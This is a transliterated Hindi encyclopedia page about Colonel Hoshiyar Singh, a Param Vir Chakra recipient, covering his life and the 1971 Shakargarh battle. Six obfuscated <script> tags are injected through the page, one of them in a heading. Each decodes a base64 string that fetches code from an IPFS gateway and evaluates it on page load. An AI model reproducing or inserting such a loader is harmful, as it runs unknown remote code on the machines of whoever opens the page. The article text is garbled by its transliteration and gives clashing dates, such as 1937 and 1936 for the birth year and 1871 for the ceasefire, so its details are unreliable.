होशियार सिंह

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hoshiyar sianh
poora nam hoshiyar sianh dahiya
janm 5 mee, 1937
janm bhoomi gaanv sisana, sonipat, hariyana
mrityu 6 disambar, 1998 (ayu- 61 varsh)
sena bharatiy thal sena
raiank karnal
yoonit 3 grenediyars
yuddh bharat-pakistan yuddh (1965), bharat-pakistan yuddh (1971)
shiksha metikuleshan
samman paramavir chakr
nagarikata bharatiy
any janakari 1971 ke yuddh ke pahale, hoshiyar sianh ne 1965 mean bhi pakistan ke khilaf l date hue apana karishma dikhaya tha. bikaner sektar mean apane kshetr mean akraman petroliang karate hue unhoanne aisi mahattvapoorn soochana lakar sauanpi thi, jisake karan bataliyan ki fatah asani se ho gee thi aur isake lie unaka ullekh 'maianshand is dispaichez' mean hua tha.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

karnal hoshiyar sianh (aangrezi: Major Hoshiar Singh, janm: 5 mee, 1937; mrityu: 6 disambar, 1998) paramavir chakr se sammanit bharatiy vyakti hai. inhean yah samman san 1971 mean mila. varsh 1971 ke bharat pakistan yuddh ne bharat ke do bahadur sipahiyoan ko paramavir chakr ka hakadar banaya. ek to poona h aaurs ke sekend lephtineant arun khetrapal jinhoanne apane pran ganva kar sabase kam umr ke paramavir chakr vijeta ka samman prapt kiya, doosare mejar hoshiyar sianh jinhoanne 3 grenediyars ki aguvaee karate hue apana adbhut parakram dikhaya aur dushman ko parajay ka muanh dekhana p da. unhoanne jammoo kashmir ki doosari or, shakarag d ke pasari kshetr mean jaraval ka morcha fatah kiya tha.

jivan parichay

hoshiyar sianh ka janm 5 mee, 1936 ko sonipat, hariyana ke ek gaanv sisana mean hua tha. unaki praranbhik skooli shiksha sthaniy haee skool mean tatha usake bad jat siniyar sekendari skool mean huee. vah ek medhavi chhatr the. unhoanne metikuleshan ki pariksha pratham shreni mean pas ki thi. padhaee ke sath-sath vah khel kood mean bhi age rahate the. hoshiyar sianh pahale rashtriy chaimpiyanaship ke lie b aaulibal ki panjab kanbaiand tim ke lie chune ge aur vah tim phir rashtriy tim chun li gee jisake kaiptan hoshiyar sianh the. is tim ka ek maich jat rejimaital seantar ke ek uchch adhikari ne dekha aur hoshiyar sianh unaki najaroan mean a gay. is tarah hoshiyar sianh ke phauj mean ane ki bhoomika bani. 1957 mean unhoanne 2 jat rejimeant mean pravesh liya bad mean vah 3 grenediyars mean kamishan lekar aphasar ban ge. 1971 ke yuddh ke pahale, hoshiyar sianh ne 1965 mean bhi pakistan ke khilaf l date hue apana karishma dikhaya tha. bikaner sektar mean apane kshetr mean akraman petroliang karate hue unhoanne aisi mahattvapoorn soochana lakar sauanpi thi, jisake karan bataliyan ki fatah asani se ho gee thi aur isake lie unaka ullekh 'maianshand is dispaichez' mean hua tha. phir, 1971 ka yuddh to unake lie nirnayak yuddh tha jisamean unhean desh ka sabase b da samman prapt hua.

bharat-pakistan yuddh (1971)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

svatantr bharat ne ab tak paanch yuddh l de jinamean se char mean usaka samana pakistan se hua. yah yuddh shuroo bhale hi pakistan ne kiya ho, unaka samapan bharat ne kiya aur vijay ka sehara usi ke sir bandha. in char yuddhoan mean ek yuddh jo 1971 mean l da gaya vah mahattvapoorn kaha ja sakata hai kyoanki is l daee ne pakistan ko parajit karake ek aise ne rashtr ka uday kiya, jo pakistan ka hissa tha aur varshoan se pashchim pakistan ki phauji satta ka anyay sah raha tha. vahi hissa, poorvi pakistan, 1971 ke yuddh ke bad baangladesh bana. jab se pakistan bana, tab se pashchim pakistan satta ka keandr bana raha. vah muslim bahul ilaka tha. doosari or poorvi pakistan, poorvi bangal tha jo vibhajan ke bad pakistan mean a gaya tha. yah hissa baangla bhashiyoan se bhara tha. is tarah poorvi aur pashchimi pakistan do alag-alag bhashayoan aur sanskritiyoan ka pratinidhitv karate the. isaka natija yah tha ki pashchim pakistan ki muslim bahul satta ka vyavahar, apane hi desh ke ek hisse se behad anyayapoornak tatha sautela hota tha, bhale hi desh ka hissa khasa vaibhav aur sampada sarakar ko deta tha. 7 agast 1970 ko hue pakistan ke chunav mean janamat ka ek naya chehara se samane aya, jisamean shekh mujiburrahaman ki parti avami lig ne behad bhari bahumat se jit hasil ki. sthiti yah bani ki avami lig ki sarakar satta mean a jae. is bat ke lie pashchim pakistan ka shasan katee taiyar nahian th. us samay julphikar ali bhatto pradhanamantri the, tatha yahana khan rashtrapati pad par baithe the. baangla bahul avami lig ki sarakar banane se rokane ke lie in donoan ne nee vijeta aseanbali ke gathan par bandish laga kar rok diya. unake is nirnay se baangla samuday mean itana asantosh phaila ki usane ek andolan ka roop le liya. 3 march, 1971 ko dhaka mean, jo ki poorvi pakistan ka gadh tha, vahaan karphyoo lagaya gaya lekin usase andolan par koee phark nahian p da. us samay sahibajada khan lephtineant garvanar tatha marshal l aau ke prashasak the, unhean hatakar lephtineant janaral tikka khaan ko laya gaya. tikka khaan us daur mean barbarata ki had kayam huee aur unhean 'bagla desh ka boochar' karar diya gaya. tikka khan ne aaupareshan blitj ke nam par poorvi pakistan ki baangla bhashi janata par itane jurm dhae, jisaki misal milani mushkil hai.
pakistan phaujean poorvi pakistan ko goliyoan se bhoonane lagian. bamabari se nihatthe nagarikoan ko tatha baangla bhashi ardh sainik baloan ko kuchala jane laga aur halat yah ho gee ki vahaan se baangla bhashi log bhag kar bharat mean sharan pane lage. dekhate-dekhate lakhoan sharanarthi bharat ki sima mean ghus ae. unake bhojan aur avas ki jimmedari bharat par a gee. bharat ne jab pakistan se is bare mean bat ki, to usane ise apana aandarooni mamala batate hue bharat isase alag rahane ko kaha, sath hi sharanarthiyoan ki samasya ke bare mean pakistan ne hath jha d lie. aise mean bharat ke pas sirph ek chara tha ki vah apane sainy bal ka prayog kare jisase poorvi pakistani nagarikoan ka vahaan se bharat ki or palayan ruke. is majaboori mean bharat ko us sainik karyavahi mean utarana p da jo aantatah bharat-pak yuddh mean badal gee.

hoshiyar sianh ka parakram

is yuddh ko bharat ne kee morcho par l da jisamean ek morche par mejar hoshiyar sianh ne bhi kaman sanbhali. bharat ki sainy dakshata tatha shaury ke age pakistan ko ghutane tekane p de aur aantatah poorvi pakistan ka hissa samooche pakistan se alag hokar ek svatantr desh ban ge, jo baangladesh kahalaya. is yuddh mean bharat ne n keval vijay hasil ki varanh poorvi pakistan ke nirih, nihatthe nagarikoan ko barbarata ka shikar hone se bhi bachaya. ab isi yuddh ke morche ki bat karean. shakaragadh pathar bharat aur pakistan donoan ke lie ek mahattvapoorn thikana tha. bharat agar is par kabja jama leta hai, to vah ek or jammoo kashmir tatha uttari panjab ko surakshit rakh sakata hai, doosari or pakistan ke thik marmasthal par prahar kar sakata hai. isi tarah agar pakistan is par kabja rakhe to vah bharat ke bhitar ghusata a sakata hai. jahir hai ki yah behad mauke ka thikana tha jis par donoan or ke sainikoan ki najar thi. shakaragadh pathar ka 900 kilomitar ka vah sanvadenashil kshetr poori tarah se prakritik badhaoan se bhara hua tha jis par dushman ne taiank bhedi bahut si baroodi surangean bichhaee huee thian. 14 disambar 1971 ko 3 grenediyars ke kamaandiang aauphisar ko supaval khaee par briged ka hamala karane ke adesh die ge. is 3 grenediyars ko jaraval tatha lohal gaanvoan par kabja karana tha. 15 disambar 1971 ko do kampaniyaan, jinamean se ek ka netritv mejar hoshiyar sianh sanbhal rahe the, hamale ka pahala daur lekar age badhian. donoan kampaniyoan ne apani fatah dushman ki bhari golabari, bamabari tatha mashinagan ki bauchhar ke bavajood hasil kar li. in kampaniyoan ne dushman ke 20 javanoan ko yuddh bandi banaya aur bhari matra mean hathiyar aur golabarood apane kabje mean le liya un hathiyaroan mean unhean midiyam mashinagan tatha r aauket laanchars mile.

agale din 16 disambar, 1971 ko 3 grenediyars ko ghamasan yuddh ka samana karana p da. pakistan javabi hamala karake apana ganvaya hua kshetr vapas pane ke lie joojh raha tha. usake is hamale mean usaki or se golibari tatha bamabari mean koee kami nahian chhoot rahi thi. 3 grenediyars ka bhi manobal ooancha tha. vah pakistan dvara kie ja rahe javabi hamaloan ko nakam kie ja rahe the. 17 disambar, 1971 ko sooraj ki pahali kiran ke pahale hi dushman ki ek bataliyan ne bam aur gaulibari se mejar hoshiyar sianh ki kampani par phir hamala kiya. mejar hoshiyar sianh ne is hamale ka javab ekadam nidar hokar diya aur vah apane javanoan ko poore josh se joojhane ke lie ukasate rahe, unaka hausala badhate rahe. haanlaki vah ghayal ho ge the, phir bhi vah ek khaee se doosari khaee tak jate aur apane javanoan ka hausala badhate rahe. unhoanne khud bhi ek midiyam mashinagan us samay tham li, jab usaka ganar mara gaya. isase unaki kampani ka josh dugana hua aur vah jyada teji se dushman par toot p de. us din dushman ke 89 javan mare ge, jinamean unaka kamaandiang aauphisar lephtineant karnal mohammad akaram raja bhi shamil tha. 35 phrantiyar phors raiphals ka yah aauphisar apane tin aur adhikariyoan ke sath usi maidan mean mara gaya tha.

sara din dushman ki bataliyan ki phauj ke bache-kuche sainik mejar hoshiyar sianh ki phauj se joojhate rahe. sham 6 baje adesh mile ki 2 ghante bad yuddh viram ho jaega. donoan bataliyan in 2 ghantoan mean jyada-se-jyada var karake dushman ko pare kar dena chahate the. jab yuddh viram ka samay aya us samay tak mejar hoshiyar sianh ki 3 grenediyars ka ek adhikari tatha 32 phauji mare ja chuke the. isake alava 3 adhikari 4 jooniyar kamishand adhikari tatha 86 javan ghayal the. tabhi mejar hoshiyar sianh ki bataliyan ko yuddh viram ke bad jit ka sehara pahanaya gaya. 17 disambar 1871 ke yuddh viram ke bad baangladesh ke uday ki varta shuroo huee. mejar hoshiyar sianh ko paramavir chakr pradan kiya gaya aur desh arun khetrapal ki smriti mean maun bhi hua, jo bas ek din pahale viragati ko prapt ho ge the.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  • pustak- paramavir chakr vijeta | lekhak- ashok gupta | prishth sankhya- 106

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>